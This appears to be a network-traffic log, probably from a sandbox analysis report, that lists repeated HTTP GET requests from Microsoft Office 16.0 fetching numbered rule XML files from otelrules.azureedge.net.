Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
